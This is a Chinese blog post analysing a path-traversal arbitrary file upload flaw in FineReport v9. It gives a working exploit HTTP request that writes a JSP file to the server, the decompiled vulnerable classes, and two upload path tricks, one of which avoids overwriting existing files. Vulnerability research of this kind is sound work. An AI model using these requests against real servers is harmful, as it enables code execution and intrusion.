Toc
  1. 前言
    1. 好久没写博客 源文件找不到了233 假期重新抄了下顺便换了个博客主题
  2. 经过简单的分析这个exp经过简单的修改即可不覆盖就可以成功上传文件 显而易见一堆人不分析就传exp 还说只能覆盖文件 今天又看到一篇一模一样的文章)
  3. 分析
  4. 第一种利用方法
  5. 第二种利用方法
Toc
0 results found
白帽酱
帆软 v9任意文件上传漏洞漏洞分析(不覆盖上传文件)

前言

好久没写博客 源文件找不到了233 假期重新抄了下顺便换了个博客主题

经过简单的分析这个exp经过简单的修改即可不覆盖就可以成功上传文件 显而易见一堆人不分析就传exp 还说只能覆盖文件 今天又看到一篇一模一样的文章)

分析

帆软官方提供了安装包下载地址 下载之
https://www.finereport.com/product/download
发现这是个java开发的web应用 先准备工具好工具反编译class
随手拿个网上给出的playload 看一下路由操作 op svginit,cmd design_save_svg

POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp  HTTP/1.1
Host: 192.168.10.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=DE7874FC92F0852C84D38935247D947F; JSESSIONID=A240C26B17628D871BB74B7601482FDE
Connection: close
Content-Type:text/xml;charset=UTF-8

Content-Length: 74

{"__CONTENT__":"<%out.println(\"Hello World!\");%>","__CHARSET__":"UTF-8"}

经过搜索 发现存在漏洞的Service在WEB-INF\lib\fr-chart-9.0.jar内
\com\fr\chart\web\ChartSvgInitService.class 反编译之


package com.fr.chart.web;

import com.fr.stable.fun.Service;
import com.fr.stable.web.RequestCMDReceiver;
import com.fr.web.core.WebActionsDispatcher;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ChartSvgInitService implements Service {
private RequestCMDReceiver[] actions = new RequestCMDReceiver[]{new ChartGetSvgAction(), new ChartSaveSvgAction(), new ChartDeleteSvgAction()};

public ChartSvgInitService() {
}

public String actionOP() {
return "svginit";
}

public void process(HttpServletRequest var1, HttpServletResponse var2, String var3, String var4) throws Exception {
WebActionsDispatcher.dealForActionCMD(var1, var2, var4, this.actions);
}
}

显然要找的漏洞点在ChartSaveSvgAction内

package com.fr.chart.web;

import com.fr.base.Utils;
import com.fr.chart.base.MapSvgAttr;
import com.fr.chart.base.MapSvgXMLHelper;
import com.fr.general.GeneralContext;
import com.fr.general.http.HttpClient;
import com.fr.stable.StableUtils;
import com.fr.web.core.ActionNoSessionCMD;
import com.fr.web.utils.WebUtils;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ChartSaveSvgAction extends ActionNoSessionCMD {
public ChartSaveSvgAction() {
}

public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
String var4 = WebUtils.getHTTPRequestParameter(var1, "filePath");
String var5 = GeneralContext.getEnvProvider().getPath() + "/" + "assets" + "/";
var4 = var5 + var4.substring(var4.indexOf("chartmapsvg"));
File var6 = null;
if (var4.contains(".svg")) {
var6 = new File(var4.substring(0, var4.lastIndexOf("/")));
} else {
var6 = new File(var4);
}

if (!var6.exists()) {
var6.mkdirs();
}

InputStream var7 = HttpClient.getInputStream(var1);
if (var7 != null) {
FileOutputStream var8 = new FileOutputStream(var4);
Utils.copyBinaryTo(var7, var8);
String[] var9 = StableUtils.pathSplit(var4);
String var10 = StableUtils.getFileNameWithOutPostfix(var9[var9.length - 1]);
MapSvgXMLHelper.getInstance().pushMapAttr(var10, new MapSvgAttr(var4));
var8.flush();
var7.close();
var8.close();
}
}

public String getCMD() {
return "design_save_svg";
}
}

这个action原本功能应该是上传保存svg图片
传入uri中的filePath参数的处理

String var4 = WebUtils.getHTTPRequestParameter(var1, “filePath”); // 首先传入uri中的filePath参数
String var5 = GeneralContext.getEnvProvider().getPath() + “/“ + “assets” + “/“; //取当前目录拼接成保存目录
var4 = var5 + var4.substring(var4.indexOf(“chartmapsvg”)); //取filePath中的chartmapsvg右侧的字符串与var5目录拼接
var4 即为目标操作 目录/文件路径
这里有一个安全问题 输入filePath可控 可以构造目录穿越
那么为什么那么多人说这个漏洞只能覆盖文件呢 我们往下看
File var6 = null; //文件系统操作
if (var4.contains(“.svg”)) { //判断路径是否包含字符串.svg
var6 = new File(var4.substring(0, var4.lastIndexOf(“/“))); //如果包含 取最后一个/前面的字符串作为路径new一个File类
} else {
var6 = new File(var4); //如果不包含 直接用路径new一个File类
}
if (!var6.exists()) { //判断var6文件/文件夹是否存在
var6.mkdirs();//不存在则创建文件夹
}
这个就是被认为该漏洞只能覆盖文件的原因
这处显然是实现文件夹创建的功能而写的
下面的代码就是把 _CONTENT_ 写入var6打开的路径中 就不赘述了

第一种利用方法

下面最重要的来了
假设filePath 传入 chartmapsvg/123.jsp 则var6打开的路径为 当前环境变量目录/assets/123.jsp
假设123.jsp不存在 所以会创建一个123.jsp的文件夹
123.jsp就变成了一个文件夹了
因为123.jsp是文件夹所以不能当做文件打开写入数据 导致利用失败
如果123.jsp存在 就不会创建文件夹 直接写入数据 达到文件覆盖的目的
这个是网传EXP的利用方法

第二种利用方法

其实还有另一种方法
仔细阅读代码发现
if (var4.contains(".svg")) {
var6 = new File(var4.substring(0, var4.lastIndexOf("/")));
如果传入的路径包含.svg字符串 则判断和创建的将会是父文件夹
根据上面的判断条件就可以写出构造路径利用的第二种方法了
chartmapsvg/123.svg.jsp 父目录存在直接写入一个123.svg.jsp文件
chartmapsvg/.svg/123.jsp .svg目录不存在创建一个.svg文件夹 在文件夹下写入一个123.jsp文件
所以说为什么当时没有发现这种简单的方法却搞出个这种奇葩的利用)

本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!